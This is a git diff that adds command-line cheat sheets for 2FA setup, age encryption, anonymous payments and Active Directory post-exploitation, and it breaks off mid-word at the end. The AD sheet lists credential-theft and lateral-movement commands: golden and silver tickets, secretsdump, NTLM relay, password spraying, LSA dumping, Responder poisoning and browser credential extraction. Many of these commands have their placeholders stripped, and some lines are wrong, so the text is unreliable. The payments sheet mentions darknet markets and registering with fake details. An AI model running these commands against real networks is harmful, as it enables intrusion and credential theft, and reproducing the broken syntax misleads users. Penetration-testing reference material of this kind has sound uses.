diff --git a/.gitleaksignore b/.gitleaksignore new file mode 100644 index 0000000..eef884a --- /dev/null +++ b/.gitleaksignore @@ -0,0 +1,4 @@ +# Verified false positives (reviewed, not real secrets): +# Canonical jwt.io example token — payload {"sub":"1234567890"} — used to +# demonstrate JWT decoding in api-testing.cheat. Not a real credential. +api-testing.cheat:jwt:41 diff --git a/2fa-security.cheat b/2fa-security.cheat new file mode 100644 index 0000000..4cbbee7 --- /dev/null +++ b/2fa-security.cheat @@ -0,0 +1,504 @@ +% 2fa, mfa, totp, fido2, yubikey, authentication, otp + +# ============================================================================ +# TWO-FACTOR AUTHENTICATION (2FA) OVERVIEW +# ============================================================================ + +# What is 2FA? +# Second layer of security beyond password +# Something you know (password) + something you have (device/key) + +# 2FA methods (from most to least secure) +# 1. Hardware keys (FIDO2/U2F) - YubiKey, Titan, Nitrokey +# 2. Authenticator apps (TOTP) - Aegis, Authy, Google Authenticator +# 3. SMS codes (vulnerable to SIM swapping) +# 4. Email codes (as secure as your email) +# 5. Backup codes (one-time use) + +# ============================================================================ +# HARDWARE KEYS (FIDO2/U2F) - MOST SECURE +# ============================================================================ + +# Hardware key advantages +# - Phishing resistant (domain-bound) +# - No SMS interception +# - No TOTP theft +# - Physical possession required + +# Popular hardware keys +# YubiKey 5 Series - https://www.yubico.com/ +# Google Titan Security Key - https://store.google.com/ +# Nitrokey - https://www.nitrokey.com/ (open source) +# OnlyKey - https://onlykey.io/ (advanced features) +# Thetis FIDO2 - https://thetis.io/ (open source) + +# YubiKey setup (Linux) +# Install pam module for sudo/login +sudo apt install libpam-u2f + +# Register YubiKey +mkdir -p ~/.config/Yubico +pamu2fcfg > ~/.config/Yubico/u2f_keys + +# Add additional key (backup) +pamu2fcfg -n >> ~/.config/Yubico/u2f_keys + +# Enable for sudo +sudo nano /etc/pam.d/sudo +# Add at top: auth required pam_u2f.so + +# Enable for login +sudo nano /etc/pam.d/gdm-password +# Add: auth required pam_u2f.so + +# Test YubiKey +ykman info + +# List YubiKey slots +ykman otp info + +# ============================================================================ +# AUTHENTICATOR APPS (TOTP) - RECOMMENDED +# ============================================================================ + +# Best authenticator apps (Android/iOS) +# Aegis Authenticator (Android, open source, encrypted backups) +# Raivo OTP (iOS, open source) +# Authy (cross-platform, cloud backup) +# andOTP (Android, open source, deprecated - use Aegis) + +# Desktop authenticators (Linux) +# OTPClient - GTK app for TOTP/HOTP +sudo apt install otpclient + +# Generate TOTP from terminal +oathtool --totp --base32 +$ SECRET_KEY: echo "JBSWY3DPEHPK3PXP" + +# ============================================================================ +# SETTING UP 2FA ON ACCOUNTS +# ============================================================================ + +# Google Account +# Security → 2-Step Verification → Get Started +# Add: Authenticator app, hardware key, backup codes + +# GitHub +# Settings → Security → Two-factor authentication → Enable +# Use: App or security key + +# ProtonMail +# Settings → Security → Two-factor authentication +# Use: App or hardware key + +# Social media (Facebook, Twitter, Instagram) +# Settings → Security → Two-factor authentication +# Prefer app over SMS + +# Banking/Financial +# Usually SMS-based (request authenticator app if available) +# Many support hardware keys now + +# ============================================================================ +# BACKUP CODES +# ============================================================================ + +# Always save backup codes when enabling 2FA +# Print and store in secure location (safe, lockbox) +# Or store encrypted in password manager + +# Example backup codes (save these!) +# 1. 8374-9283-4756 +# 2. 2938-4756-8374 +# 3. 4756-8374-2938 +# (Continue for 8-10 codes) + +# Generate backup codes (various services) +# Google: myaccount.google.com/security → 2-Step Verification → Backup codes +# GitHub: Settings → Security → Two-factor authentication → Recovery codes + +# Store backup codes securely +# Encrypted password manager +# Paper in safe +# Hardware encrypted USB drive + +# ============================================================================ +# TOTP SECRET MANAGEMENT +# ============================================================================ + +# TOTP secrets (QR codes) are sensitive +# Store encrypted backup of TOTP secrets +# Use: Aegis encrypted backup, KeePassXC + +# Export Aegis backup +# Aegis → Settings → Backups → Export (encrypted) + +# Import to new device +# Aegis → Settings → Backups → Import + +# Backup TOTP secret keys (text format) +# Store in password manager alongside password + +# ============================================================================ +# SMS 2FA (LEAST SECURE - AVOID IF POSSIBLE) +# ============================================================================ + +# SMS 2FA vulnerabilities +# - SIM swapping attacks +# - SS7 protocol vulnerabilities +# - SMS interception +# - Social engineering attacks on carriers + +# Protecting against SIM swapping +# Add PIN/password to carrier account +# Use carrier's port freeze feature +# Register for carrier fraud alerts + +# Carrier security settings +# Verizon: Add Account PIN +# AT&T: Set passcode, enable extra security +# T-Mobile: Account Takeover Protection + +# If SMS is only option +# Better than no 2FA +# Use Google Voice number (harder to SIM swap) +# Enable carrier port lock + +# ============================================================================ +# SETTING UP YUBIKEY FOR COMMON SERVICES +# ============================================================================ + +# GitHub with YubiKey +# Settings → Security → Two-factor authentication +# Security keys → Register new security key → Insert YubiKey + +# Google with YubiKey +# myaccount.google.com/security → 2-Step Verification +# Security keys → Add security key + +# ProtonMail with YubiKey +# Settings → Security → Two-factor authentication +# Security key → Add key + +# AWS with YubiKey +# IAM → Users → Security credentials → Assign MFA device +# U2F security key + +# Windows login with YubiKey +# Settings → Accounts → Sign-in options +# Security Key → Add + +# ============================================================================ +# TOTP COMMAND LINE (OATHTOOL) +# ============================================================================ + +# Install oathtool +sudo apt install oathtool + +# Generate TOTP code +oathtool --totp --base32 +$ SECRET_KEY: echo "JBSWY3DPEHPK3PXP" + +# Generate with specific time step (usually 30 seconds) +oathtool --totp --time-step-size=30s --base32 +$ SECRET_KEY: echo "JBSWY3DPEHPK3PXP" + +# Verify TOTP code +oathtool --totp --base32 +$ SECRET_KEY: echo "JBSWY3DPEHPK3PXP" +$ CODE: echo "123456" + +# ============================================================================ +# PASS-OTP (PASSWORD MANAGER + TOTP) +# ============================================================================ + +# pass (password store) with OTP extension +sudo apt install pass pass-otp + +# Initialize password store +pass init +$ GPG_KEY_ID: echo "your@email.com" + +# Add TOTP secret +pass otp add +# Enter secret key when prompted +$ account_name: echo -e "github\\ngoogle\\nprotonmail" + +# Generate TOTP +pass otp +$ account_name: echo -e "github\\ngoogle" + +# Show QR code (for backup) +pass otp uri | qrencode -t UTF8 +$ account_name: echo "github" + +# ============================================================================ +# KEEPASSXC WITH TOTP +# ============================================================================ + +# KeePassXC supports TOTP natively +# Install KeePassXC +sudo apt install keepassxc + +# Add TOTP to entry +# Right-click entry → TOTP → Set up TOTP +# Enter secret key or scan QR code + +# Show TOTP code +# Select entry → TOTP visible in entry details + +# Copy TOTP to clipboard +# Right-click entry → TOTP → Copy TOTP + +# ============================================================================ +# AEGIS AUTHENTICATOR (ANDROID) +# ============================================================================ + +# Install Aegis +# F-Droid: https://f-droid.org/packages/com.beemdevelopment.aegis/ +# Play Store: https://play.google.com/store/apps/details?id=com.beemdevelopment.aegis + +# Enable encrypted backups +# Settings → Backups → Enable automatic backups +# Set strong password for backup encryption + +# Export backup +# Settings → Backups → Export + +# Import backup to new device +# Settings → Import from file → Select backup + +# ============================================================================ +# AUTHY (CROSS-PLATFORM) +# ============================================================================ + +# Authy advantages +# Cloud backup (encrypted) +# Multi-device sync +# Desktop app available + +# Authy disadvantages +# Closed source +# Cloud-based (attack vector) +# Phone number required + +# Enable multi-device +# Settings → Devices → Allow Multi-device + +# Disable multi-device after setup (security) +# Settings → Devices → Disable + +# ============================================================================ +# 2FA FOR SSH +# ============================================================================ + +# Enable 2FA for SSH with Google Authenticator +sudo apt install libpam-google-authenticator + +# Configure for user +google-authenticator +# Answer prompts (yes to most) + +# Enable in SSH config +sudo nano /etc/pam.d/sshd +# Add: auth required pam_google_authenticator.so + +sudo nano /etc/ssh/sshd_config +# Change: ChallengeResponseAuthentication yes +# Add: AuthenticationMethods publickey,keyboard-interactive + +sudo systemctl restart sshd + +# SSH login now requires key + TOTP code + +# ============================================================================ +# 2FA FOR SUDO +# ============================================================================ + +# Require TOTP for sudo commands +sudo apt install libpam-google-authenticator + +# Setup for user +google-authenticator + +# Enable for sudo +sudo nano /etc/pam.d/sudo +# Add at top: auth required pam_google_authenticator.so + +# Now sudo requires TOTP code + +# ============================================================================ +# 2FA RECOVERY STRATEGIES +# ============================================================================ + +# Always have backup method +# - 2+ hardware keys (keep one offsite) +# - Backup codes printed and stored securely +# - Recovery email/phone verified + +# Store 2FA backups +# - Encrypted backup codes in password manager +# - TOTP seeds stored securely (encrypted) +# - Hardware key backups in different locations + +# Test recovery process +# Simulate device loss +# Attempt recovery using backup codes/keys +# Ensure process works before emergency + +# ============================================================================ +# 2FA FOR LINUX DESKTOP LOGIN +# ============================================================================ + +# GDM with YubiKey (hardware key login) +# Already covered in hardware keys section + +# GDM with TOTP +sudo apt install libpam-google-authenticator + +# Setup for user +google-authenticator + +# Enable for GDM +sudo nano /etc/pam.d/gdm-password +# Add: auth required pam_google_authenticator.so + +# ============================================================================ +# 2FA BEST PRACTICES +# ============================================================================ + +# Priority list +# 1. Enable 2FA on all important accounts +# 2. Use hardware keys where supported +# 3. Use authenticator apps (not SMS) +# 4. Save backup codes in multiple secure locations +# 5. Have backup hardware key +# 6. Test recovery process + +# Accounts requiring 2FA +# - Email (Gmail, ProtonMail) +# - Banking/financial +# - Social media +# - Password manager +# - Cloud storage +# - GitHub/GitLab +# - Domain registrar +# - VPN provider + +# Never disable 2FA unless +# - Migrating to stronger method +# - Account closure + +# ============================================================================ +# 2FA MIGRATION (CHANGING DEVICES) +# ============================================================================ + +# Before switching phones +# 1. Backup all TOTP secrets (Aegis encrypted backup) +# 2. Verify backup codes saved +# 3. Transfer backup to new device +# 4. Restore on new device +# 5. Verify all accounts work +# 6. Securely wipe old device + +# Emergency device loss +# 1. Use backup codes to login +# 2. Disable 2FA temporarily +# 3. Re-enable with new device +# 4. Generate new backup codes + +# ============================================================================ +# COMMON 2FA ISSUES & SOLUTIONS +# ============================================================================ + +# "Invalid code" error +# - Check device time (must be synced) +# - Wait for next code (30-second window) +# - Verify correct account + +# Sync device time (Linux) +sudo timedatectl set-ntp true +timedatectl status + +# Lost 2FA device +# - Use backup codes +# - Use backup hardware key +# - Contact service support (last resort) + +# Can't access backup codes +# - Use recovery email/phone +# - Contact service support with ID verification + +# Hardware key not working +# - Check USB connection +# - Try different USB port +# - Update firmware (ykman info) +# - Use backup key + +# ============================================================================ +# ADVANCED: FIDO2 RESIDENT KEYS +# ============================================================================ + +# Resident keys (passwordless login) +# Store credentials on hardware key itself + +# Create resident key (YubiKey) +# Supported services: GitHub, Microsoft, Dropbox + +# Generate SSH key on YubiKey (resident) +ssh-keygen -t ecdsa-sk -O resident -O application=ssh:YubiKey + +# List resident keys +ssh-keygen -K + +# ============================================================================ +# TESTING 2FA SECURITY +# ============================================================================ + +# Test phishing resistance +# Try logging in on fake site with hardware key +# Hardware key should reject (domain mismatch) + +# Test TOTP time drift +# Change system time, test if codes still work + +# Test backup recovery +# Pretend device lost, use backup codes + +# Test hardware key backup +# Disable primary key, use backup key + +# ============================================================================ +# 2FA CHECKLIST +# ============================================================================ + +# Setup +# [ ] Enable 2FA on all critical accounts +# [ ] Use hardware key where possible +# [ ] Use TOTP app for others (not SMS) +# [ ] Save backup codes (encrypted, multiple locations) +# [ ] Purchase backup hardware key +# [ ] Test recovery process + +# Maintenance +# [ ] Review 2FA methods quarterly +# [ ] Rotate backup codes yearly +# [ ] Update authenticator app backups +# [ ] Verify backup key still works + +# ============================================================================ +# RESOURCES +# ============================================================================ + +# FIDO Alliance +# https://fidoalliance.org/ + +# YubiKey documentation +# https://support.yubico.com/ + +# 2FA directory (sites supporting 2FA) +# https://2fa.directory/ + +# TOTP specification +# RFC 6238: https://tools.ietf.org/html/rfc6238 + diff --git a/ad-post-exploit.cheat b/ad-post-exploit.cheat new file mode 100644 index 0000000..f07a7f6 --- /dev/null +++ b/ad-post-exploit.cheat @@ -0,0 +1,151 @@ +% active-directory, post-exploitation, lateral-movement + +# Rubeus - Kerberos abuse toolkit +Rubeus.exe kerberoast /outfile: +$ output_file: echo "kerberoast_hashes.txt" + +# Rubeus AS-REP roasting +Rubeus.exe asreproast /format:hashcat /outfile: +$ output_file: echo "asrep_hashes.txt" + +# Rubeus golden ticket +Rubeus.exe golden /rc4: /domain: /sid: /user: +$ ntlm_hash: echo "aad3b435b51404eeaad3b435b51404ee" +$ domain: echo -e "corp.local\ndomain.com" +$ domain_sid: echo "S-1-5-21-xxxxx" +$ username: echo -e "administrator\nuser" + +# Rubeus silver ticket +Rubeus.exe silver /service: /rc4: /user: +$ service_spn: echo -e "CIFS/DC01.corp.local\nHTTP/web01.corp.local" +$ ntlm_hash: echo "aad3b435b51404eeaad3b435b51404ee" +$ username: echo "user" + +% impacket, lateral-movement + +# Impacket GetUserSPNs (Kerberoasting) +GetUserSPNs.py /: -dc-ip -request +$ domain: echo -e "CORP\nDOMAIN" +$ username: echo "user" +$ password: echo "password" +$ dc_ip: echo -e "192.168.1.10\n10.0.0.1" + +# Impacket wmiexec - WMI command execution +wmiexec.py /:@ +$ domain: echo -e "CORP\nDOMAIN" +$ username: echo "administrator" +$ password: echo "password" +$ target: echo -e "192.168.1.10\nSRV01.corp.local" + +# Impacket smbexec - SMB command execution +smbexec.py /:@ +$ domain: echo -e "CORP\nDOMAIN" +$ username: echo "administrator" +$ password: echo "password" +$ target: echo -e "192.168.1.10\nSRV01" + +# Impacket ntlmrelayx - NTLM relay attack +ntlmrelayx.py -t -smb2support +$ target: echo -e "smb://192.168.1.10\nldaps://DC01.corp.local" + +# Impacket secretsdump - dump credentials +secretsdump.py /:@ +$ domain: echo -e "CORP\nDOMAIN" +$ username: echo "administrator" +$ password: echo "password" +$ target: echo -e "192.168.1.10\nDC01" + +# Impacket psexec - SMB/PsExec execution +psexec.py /:@ +$ domain: echo -e "CORP\nDOMAIN" +$ username: echo "administrator" +$ password: echo "password" +$ target: echo -e "192.168.1.10\nSRV01" + +% netexec, lateral-movement + +# NetExec (CrackMapExec replacement) SMB enumeration +nxc smb -u -p +$ target: echo -e "192.168.1.0/24\n10.0.0.1" +$ username: echo "user" +$ password: echo "password" + +# NetExec password spray +nxc smb -u -p +$ target: echo -e "192.168.1.0/24\nDC01" +$ users_file: echo -e "users.txt\nusers_list.txt" +$ password: echo -e "Password123\nSummer2023!" + +# NetExec dump SAM +nxc smb -u -p --sam +$ target: echo -e "192.168.1.10\nSRV01" +$ username: echo "administrator" +$ password: echo "password" + +# NetExec dump LSA secrets +nxc smb -u -p --lsa +$ target: echo -e "192.168.1.10\nDC01" +$ username: echo "administrator" +$ password: echo "password" + +# NetExec execute command +nxc smb -u -p -x +$ target: echo -e "192.168.1.10\nSRV01" +$ username: echo "administrator" +$ password: echo "password" +$ command: echo -e "whoami\nipconfig\nnet user" + +% pre-windows-2000, legacy-vulnerabilities + +# pre2k - check for Pre-Windows 2000 computers with static passwords +pre2k auth -u -p -d -dc-ip -verbose +$ username: echo -e "user\nnoprivuser" +$ password: echo -e "password\nUserPass123!" +$ domain: echo -e "corp.local\ndomain.com" +$ dc_ip: echo -e "192.168.1.10\n10.0.0.1" + +# pre2k query +pre2k query -u -p -d -dc-ip +$ username: echo "user" +$ password: echo "password" +$ domain: echo "corp.local" +$ dc_ip: echo "192.168.1.10" + +% credential-relay, llmnr + +# Responder - LLMNR/NBT-NS poisoning +responder -I -wrf +$ interface: echo -e "eth0\nwlan0\ntun0" + +# Responder with specific interface and analysis mode +responder -I -A +$ interface: echo -e "eth0\nwlan0" + +# PetitPotam - coerce authentication +python3 PetitPotam.py +$ attacker_ip: echo -e "192.168.1.50\n10.0.0.50" +$ target_ip: echo -e "192.168.1.10\nDC01.corp.local" + +# WPAD detection +curl http://wpad.corp.local/wpad.dat + +% browser-hijacking, credential-theft + +# ChromeElevator - extract Chrome credentials +ChromeElevator.exe dump +# Or: ChromeElevator.exe decrypt + +# DonPAPI - dump credentials from browsers/apps +DonPAPI.py /:@ +$ domain: echo -e "CORP\nWORKGROUP" +$ username: echo "user" +$ password: echo "password" +$ target: echo -e "192.168.1.10\nWORKSTATION01" + +# DonPAPI with specific modules +DonPAPI.py /:@ -m +$ domain: echo "CORP" +$ username: echo "user" +$ password: echo "password" +$ target: echo "192.168.1.10" +$ module: echo -e "chrome\nfirefox\nrdp\nvault" diff --git a/age.cheat b/age.cheat new file mode 100644 index 0000000..86bebbf --- /dev/null +++ b/age.cheat @@ -0,0 +1,202 @@ +% age, encryption, modern-crypto + +# ============================================================================ +# AGE - Modern File Encryption (Simpler Alternative to GPG) +# ============================================================================ + +# Install age +sudo apt install age + +# Generate age key pair +age-keygen > key.txt + +# Generate key pair with output to specific file +age-keygen -o ~/.config/age/key.txt + +# View public key from private key file +grep 'public key:' key.txt + +# ============================================================================ +# FILE ENCRYPTION +# ============================================================================ + +# Encrypt file with recipient's public key +age --encrypt --recipient --output +$ public_key: echo "age1abcdef1234567890..." +$ output_file: echo "secret.age" +$ input_file: echo "document.txt" + +# Short form +age -e -r -o + +# Encrypt for multiple recipients +age -e -r -r -o encrypted.age plaintext.txt +$ recipient1: echo "age1abc..." +$ recipient2: echo "age1xyz..." + +# Encrypt with passphrase (symmetric) +age --passphrase --output secret.age document.txt + +# Short form +age -p -o secret.age document.txt + +# ============================================================================ +# FILE DECRYPTION +# ============================================================================ + +# Decrypt with private key +age --decrypt --identity --output +$ key_file: echo -e "~/.config/age/key.txt\nkey.txt" +$ output: echo "decrypted.txt" +$ encrypted_file: echo "secret.age" + +# Short form +age -d -i -o + +# Decrypt passphrase-encrypted file +age --decrypt --output decrypted.txt encrypted.age +# (will prompt for passphrase) + +# Decrypt to stdout +age -d -i key.txt encrypted.age + +# ============================================================================ +# SSH KEY INTEGRATION +# ============================================================================ + +# Encrypt using SSH public key +age -e -R ~/.ssh/id_ed25519.pub -o secret.age document.txt + +# Decrypt using SSH private key +age -d -i ~/.ssh/id_ed25519 -o document.txt secret.age + +# Convert SSH key to age format +ssh-keygen -l -f ~/.ssh/id_ed25519.pub | age-keygen -y + +# ============================================================================ +# PIPING & STDIN/STDOUT +# ============================================================================ + +# Encrypt from stdin +echo "secret message" | age -e -r > message.age + +# Decrypt to stdout +age -d -i key.txt message.age + +# Encrypt directory (tar + age) +tar czf - ~/Documents | age -e -r > backup.tar.gz.age + +# Decrypt directory +age -d -i key.txt backup.tar.gz.age | tar xzf - + +# ============================================================================ +# GITHUB PUBLIC KEY ENCRYPTION +# ============================================================================ + +# Encrypt file for GitHub user +age -e -R https://github.com/.keys -o secret.age file.txt +$ username: echo "github_username" + +# Example +age -e -R https://github.com/torvalds.keys -o message.age message.txt + +# ============================================================================ +# ADVANCED USAGE +# ============================================================================ + +# Encrypt with multiple identity files +age -e -i key1.txt -i key2.txt -o encrypted.age plaintext.txt + +# Use armor format (ASCII, like GPG --armor) +age --armor -e -r plaintext.txt > encrypted.asc + +# Encrypt file in-place (replace original) +age -e -r -o temp.age file.txt && mv temp.age file.txt.age && rm file.txt + +# Batch encrypt multiple files +for file in *.txt; do age -e -r -o "$file.age" "$file"; done + +# ============================================================================ +# KEY MANAGEMENT +# ============================================================================ + +# Store keys securely +mkdir -p ~/.config/age +chmod 700 ~/.config/age +age-keygen -o ~/.config/age/key.txt +chmod 600 ~/.config/age/key.txt + +# Multiple identity files +age-keygen -o ~/.config/age/personal.txt +age-keygen -o ~/.config/age/work.txt + +# Extract public key from private key +grep 'public key:' ~/.config/age/key.txt | awk '{print $NF}' + +# ============================================================================ +# COMPARISON: AGE vs GPG +# ============================================================================ + +# AGE advantages: +# - Simpler syntax +# - Smaller attack surface +# - Modern cryptography (ChaCha20-Poly1305, X25519) +# - No keyservers or web of trust complexity +# - SSH key integration +# - Smaller binaries + +# GPG advantages: +# - Mature ecosystem +# - Email client integration +# - Web of trust / key signing +# - Hardware token support (YubiKey) +# - Detached signatures + +# ============================================================================ +# BEST PRACTICES +# ============================================================================ + +# Always backup private keys +cp ~/.config/age/key.txt /secure/backup/location/ + +# Use SSH keys when possible (one less key to manage) +age -e -R ~/.ssh/id_ed25519.pub file.txt + +# For long-term storage, use multiple recipients +age -e -r -r -r -o encrypted.age important.txt + +# Use passphrase encryption for one-off files +age -p -o temporary_secret.age temp_file.txt + +# Combine with tar for directory encryption +tar czf - ~/sensitive_dir | age -e -r > backup.tar.gz.age + +# ============================================================================ +# INTEGRATION WITH OTHER TOOLS +# ============================================================================ + +# age with sops (Secrets OPerationS) +# Encrypt configuration files with age keys +sops --age secrets.yaml + +# age with Ansible Vault alternative +# Use age instead of ansible-vault + +# age with password managers +# Encrypt password database exports +age -p -o passwords_backup.age passwords.csv + +# ============================================================================ +# TROUBLESHOOTING +# ============================================================================ + +# "No key for recipient" error +# Make sure you're using the PUBLIC key for -r flag +# And PRIVATE key (identity) for -i flag + +# Passphrase not working +# age stores scrypt parameters with file +# Must use exact same passphrase + +# Check age version +age --version diff --git a/anonymous-payments.cheat b/anonymous-payments.cheat new file mode 100644 index 0000000..6df0a51 --- /dev/null +++ b/anonymous-payments.cheat @@ -0,0 +1,467 @@ +% payments, cryptocurrency, privacy, monero, bitcoin, anonymous-payment + +# ============================================================================ +# ANONYMOUS PAYMENT OVERVIEW +# ============================================================================ + +# Payment privacy hierarchy (most to least private) +# 1. Cash (physical, untraceable when spent anonymously) +# 2. Monero (XMR) - Privacy by default +# 3. Bitcoin with mixing/CoinJoin - Pseudo-anonymous +# 4. Bitcoin direct - Pseudo-anonymous (traceable blockchain) +# 5. Privacy.com virtual cards - Private from merchant, not issuer +# 6. Credit/debit cards - No privacy +# 7. PayPal/Venmo - No privacy + real identity required + +# Payment tracking concerns +# - Financial surveillance (banks, payment processors) +# - Transaction history (permanent record) +# - Identity linkage (name, address, purchase history) +# - Merchant tracking (data brokers, analytics) + +# ============================================================================ +# CASH (MOST PRIVATE PHYSICAL PAYMENT) +# ============================================================================ + +# Cash advantages +# - No digital trail +# - No identity required +# - No financial surveillance +# - Fungible (every dollar equal) + +# Cash disadvantages +# - Physical only (can't use online) +# - Requires in-person transaction +# - Limited for large purchases +# - Can be seized/stolen + +# Anonymous cash spending +# - Don't use with loyalty cards (breaks anonymity) +# - Avoid CCTV when possible +# - Don't combine with credit card in same transaction +# - For online: Purchase cash gift cards (see below) + +# ============================================================================ +# MONERO (XMR) - PRIVACY CRYPTOCURRENCY +# ============================================================================ + +# Monero features +# - Mandatory privacy (all transactions private by default) +# - Ring signatures (hides sender) +# - Stealth addresses (hides recipient) +# - RingCT (hides amount) +# - Fungible (all XMR equal, no tainted coins) + +# Why Monero is private (vs Bitcoin) +# - Bitcoin: Public ledger (all transactions visible) +# - Monero: Opaque blockchain (transactions hidden) + +# Install Monero CLI wallet +# Download: https://www.getmonero.org/downloads/ + +# Linux +wget https://downloads.getmonero.org/cli/linux64 +tar -xvf monero-linux-*.tar.bz2 +cd monero-*/ + +# Create Monero wallet +./monero-wallet-cli --generate-new-wallet +$ wallet_name: echo "my-wallet" + +# Wallet will generate: +# - Seed phrase (25 words - BACKUP THIS!) +# - Wallet address (starts with "4") + +# Restore wallet from seed +./monero-wallet-cli --restore-deterministic-wallet + +# Monero GUI wallet (easier for beginners) +# Download: https://www.getmonero.org/downloads/ + +# Sync Monero node +# Full node (downloads entire blockchain, ~150 GB) +./monerod + +# Or use remote node (faster, less private) +./monero-wallet-cli --daemon-address node.moneroworld.com:18089 + +# Send Monero +# In wallet: +transfer +$ recipient_address: echo "48xxxxx..." +$ amount: echo "0.5" + +# Receive Monero +# Share your wallet address with sender + +# Check balance +balance + +# ============================================================================ +# BUYING MONERO ANONYMOUSLY +# ============================================================================ + +# Non-KYC exchanges (no ID required) +# - LocalMonero (P2P, cash/bank transfer) - https://localmonero.co/ +# - Bisq (decentralized exchange) - https://bisq.network/ +# - AtomicSwaps (swap BTC for XMR) +# - Crypto ATMs (some support Monero, cash) + +# Buy via LocalMonero +# 1. Visit: https://localmonero.co/ +# 2. Browse offers (cash, bank transfer, gift cards) +# 3. Select seller (check reputation) +# 4. Complete trade (follow escrow process) +# 5. Receive XMR to your wallet + +# Buy via Bisq +# 1. Download Bisq: https://bisq.network/downloads/ +# 2. Trade BTC for XMR (decentralized, non-custodial) + +# Atomic swaps (BTC ↔ XMR) +# Trustless cross-chain swaps +# Tools: Unstoppable Swap, AtomicSwap + +# ============================================================================ +# SPENDING MONERO +# ============================================================================ + +# Where to spend XMR +# - Darknet markets (Tor hidden services) +# - Privacy-focused services (VPNs, hosting) +# - P2P sales (LocalMonero, direct trades) +# - XMR.Bazaar (Monero marketplace) - https://xmrbazaar.com/ + +# Convert XMR to gift cards +# Cake Wallet app (swap XMR to gift cards) +# Coincards.com (buy gift cards with crypto) + +# Monero payment processors (for merchants) +# - BTCPay Server (Monero support) +# - Globee - https://globee.com/ +# - MoneroPay - https://moneropay.eu/ + +# ============================================================================ +# BITCOIN PRIVACY (COINJOINS & MIXING) +# ============================================================================ + +# Bitcoin privacy problem +# - Public blockchain (all transactions visible) +# - Address reuse (links transactions) +# - Exchange KYC (links identity to address) + +# CoinJoin (Bitcoin mixing) +# Combines multiple transactions to obfuscate sender/receiver + +# Wasabi Wallet (CoinJoin built-in) +# Download: https://wasabiwallet.io/ + +# Install Wasabi (Linux) +wget https://github.com/zkSNACKs/WalletWasabi/releases/download/v2.0.0/Wasabi-2.0.0.deb +sudo dpkg -i Wasabi-2.0.0.deb + +# CoinJoin with Wasabi +# 1. Create wallet +# 2. Send Bitcoin to wallet +# 3. Select coins → CoinJoin +# 4. Wait for CoinJoin round (mixes with others) +# 5. Receive mixed coins (enhanced privacy) + +# Samourai Wallet (Android, CoinJoin) +# https://samouraiwallet.com/ +# Whirlpool CoinJoin feature + +# JoinMarket (DIY CoinJoin) +# https://github.com/JoinMarket-Org/joinmarket-clientserver +# Earn fees by providing liquidity for CoinJoins + +# ============================================================================ +# LIGHTNING NETWORK (BITCOIN PRIVACY LAYER) +# ============================================================================ + +# Lightning Network +# - Off-chain Bitcoin transactions +# - Better privacy than on-chain (not recorded on blockchain) +# - Fast, low fees + +# Lightning wallets +# - Phoenix Wallet (mobile) - https://phoenix.acinq.co/ +# - Breez Wallet (mobile) - https://breez.technology/ +# - Zeus Wallet (mobile, node remote control) - https://zeusln.app/ + +# Lightning Network privacy +# - Transactions not on public blockchain +# - Only sender, receiver, and routing nodes see transaction +# - Better than on-chain, but not as private as Monero + +# ============================================================================ +# PRIVACY.COM (VIRTUAL DEBIT CARDS) +# ============================================================================ + +# Privacy.com features +# - Virtual debit cards (hide real card number) +# - Merchant-specific cards (each merchant gets unique number) +# - Single-use cards (expire after one transaction) +# - Spending limits + +# Privacy.com limitations +# - Not anonymous (Privacy.com knows your identity) +# - Bank linkage (linked to real bank account) +# - US-only + +# Sign up for Privacy.com +# https://privacy.com/ + +# Create virtual card +# 1. Dashboard → Create Card +# 2. Set merchant name (optional) +# 3. Set spending limit +# 4. Set expiration (single-use or ongoing) + +# Use virtual card +# Enter card number at checkout +# Privacy.com charges your linked bank account + +# Benefits +# - Merchant doesn't get real card number +# - Prevents card reuse (if single-use) +# - Limits fraud (per-card spending limits) + +# ============================================================================ +# GIFT CARDS (PSEUDO-ANONYMOUS) +# ============================================================================ + +# Buy gift cards with cash +# - Purchase at store (no ID required) +# - Use for online purchases +# - Not directly linked to identity + +# Visa/Mastercard prepaid gift cards +# - Can be used anywhere cards accepted +# - Buy with cash +# - Register with fake info (if required) + +# Store-specific gift cards +# - Amazon, Target, Walmart, etc. +# - Buy with cash +# - Use for online purchases + +# Resell gift cards for crypto +# - Paxful, LocalBitcoins (sell gift cards for BTC) +# - CoinCola, Coincards (crypto for gift cards) + +# ============================================================================ +# MIXING SERVICES (BITCOIN TUMBLERS) +# ============================================================================ + +# WARNING: Mixing services can be scams +# Use with extreme caution, only trusted services + +# Bitcoin mixers/tumblers +# - ChipMixer (discontinued) +# - Tornado Cash (Ethereum mixer, sanctioned by US) +# - Prefer CoinJoin over centralized mixers + +# How mixers work +# 1. Send Bitcoin to mixer +# 2. Mixer pools coins with other users +# 3. Mixer sends back different coins (untraceable) + +# Risks +# - Mixer can steal funds +# - Mixer may keep logs (law enforcement) +# - Receiving "tainted" coins (from illicit sources) + +# Recommendation +# - Use CoinJoin (Wasabi, Samourai) instead of mixers +# - Or use Monero (privacy by default) + +# ============================================================================ +# CRYPTOCURRENCY OPSEC +# ============================================================================ + +# Never reuse addresses +# Generate new Bitcoin address for each transaction + +# Use separate wallets +# Hot wallet (online, small amounts) +# Cold wallet (offline, savings) +# Mixing wallet (CoinJoin) + +# Avoid exchanges with KYC +# No-KYC exchanges: Bisq, LocalMonero, Hodl Hodl + +# Use Tor with crypto wallets +# Hides IP address from blockchain nodes +# Wasabi Wallet has built-in Tor support + +# Don't link identity to crypto +# Don't post wallet addresses publicly +# Don't use exchange-provided addresses for public transactions + +# Hardware wallets (secure storage) +# - Trezor - https://trezor.io/ +# - Ledger - https://www.ledger.com/ +# - ColdCard - https://coldcard.com/ (Bitcoin-only, very secure) + +# ============================================================================ +# BUYING CRYPTO WITHOUT KYC +# ============================================================================ + +# P2P exchanges (no ID required) +# - LocalMonero - https://localmonero.co/ (Monero) +# - LocalCoinSwap - https://localcoinswap.com/ (various cryptos) +# - Bisq - https://bisq.network/ (decentralized, Bitcoin) +# - HodlHodl - https://hodlhodl.com/ (Bitcoin) + +# Bitcoin ATMs (some no-KYC) +# - Find ATMs: https://coinatmradar.com/ +# - Buy with cash (some limit amounts before KYC) +# - Fees: 5-15% (high, but anonymous) + +# In-person trades +# - LocalBitcoins (meet in person) +# - Bitcoin Meetups (local community) +# - Use escrow (safety measure) + +# Mining (no KYC) +# Mine your own cryptocurrency +# No exchange, no identity linkage +# Requires hardware, technical knowledge + +# ============================================================================ +# ALTERNATIVE PRIVACY COINS +# ============================================================================ + +# Zcash (ZEC) +# - Optional privacy (shielded transactions) +# - Z-address (private), T-address (transparent) +# - Less private than Monero (optional, not default) + +# Dash 